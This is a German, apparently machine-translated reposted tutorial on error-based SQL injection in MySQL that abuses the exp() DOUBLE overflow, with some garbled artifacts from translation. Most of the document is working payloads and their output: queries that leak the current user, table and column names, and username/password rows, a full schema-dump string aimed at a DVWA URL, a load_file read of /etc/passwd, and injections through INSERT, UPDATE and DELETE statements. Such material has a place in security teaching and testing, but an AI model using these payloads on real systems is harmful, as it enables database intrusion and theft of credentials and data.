Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So verwenden Sie exp für die SQL-Fehlerinjektion

So verwenden Sie exp für die SQL-Fehlerinjektion

WBOY
WBOYnach vorne
2023-05-12 10:16:121709Durchsuche

0x01 Einführungsübersicht

Der Herausgeber hat einen weiteren doppelten Datenüberlauf in MySQL entdeckt. Wenn wir die Funktionen in MySQL erhalten, interessiert sich der Editor mehr für die mathematischen Funktionen. Sie sollten auch einige Datentypen zum Speichern von Werten enthalten. Daher führte der Editor einen Test durch, um festzustellen, welche Funktionen Überlauffehler verursachen würden. Dann stellte der Editor fest, dass die Funktion exp() einen Überlauffehler verursacht, wenn ein Wert größer als 709 übergeben wird.

So verwenden Sie exp für die SQL-Fehlerinjektion

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>

In MySQL hat exp die entgegengesetzte Funktion von ln und log. Kurz gesagt: Sowohl log als auch ln geben Paare mit e als Basis zurück. Zahl, siehe Gleichung:

So verwenden Sie exp für die SQL-Fehlerinjektion
So verwenden Sie exp für die SQL-Fehlerinjektion
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>

Die Exponentialfunktion ist die Umkehrfunktion der logarithmischen Funktion, exp () ist die logarithmische Funktion mit e als Basis, wie zum Beispiel die Gleichung:

So verwenden Sie exp für die SQL-Fehlerinjektion
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 Injektion # 🎜 🎜#

Bei der Injektion verwenden wir negative Abfragen, um den Fehler „DOUBLE-Wert liegt außerhalb des Bereichs“ zu verursachen. Wie im vorherigen Blogbeitrag des Autors erwähnt, gibt die bitweise Invertierung von 0 „18446744073709551615“ zurück. Da die Funktion nach erfolgreicher Ausführung 0 zurückgibt, erhalten wir durch Invertieren des erfolgreich ausgeführten BIGINT-Werts ***.

<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
Wir erzeugen einen DOPPELTEN Überlauffehler durch Unterabfrage und bitweise Negation und verwenden diesen, um Daten einzufügen.

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 Daten injizieren

Tabellennamen abrufen:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Spaltennamen abrufen: #🎜🎜 #
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

Daten abrufen:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 Overnight

Diese Abfrage kann alle Tabellen und Spalten aus dem aktuellen Kontext sichern. Wir könnten auch die gesamte Datenbank entsorgen, da wir jedoch aufgrund eines Fehlers extrahieren, werden nur sehr wenige Ergebnisse zurückgegeben.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

So verwenden Sie exp für die SQL-Fehlerinjektion
0x05 Lesen Sie die Datei

Sie können sie über die Funktion „load_file()“ lesen. Funktion Ruft die Datei ab, aber der Autor hat festgestellt, dass es eine Begrenzung auf 13 Zeilen gibt. Diese Anweisung kann auch in BIGINT-Überlaufinjektionen verwendet werden.

select exp(~(select*from(select load_file('/etc/passwd'))a));

So verwenden Sie exp für die SQL-FehlerinjektionBeachten Sie, dass Sie nicht in die Datei schreiben können, da dieser Fehler nur 0 schreibt.
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0

0x06-Injection in Insert

Folgen Sie einfach den Schritten

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Für alle Anweisungen zum Einfügen, Aktualisieren und Löschen Es können auch DIOS-Abfragen verwendet werden.

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

0x07-Injektion im Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08-Injection im Löschen

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
# 🎜 🎜 #Ähnlich wie die vorherige BIGINT-Injektion ist die Exp-Injektion auch auf MySQL5.5.5 und höher anwendbar. Frühere Versionen schwiegen zu dieser Situation.

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)
Möglicherweise gibt es andere Funktionen, die diese Art von Fehler erzeugen.

Das obige ist der detaillierte Inhalt vonSo verwenden Sie exp für die SQL-Fehlerinjektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen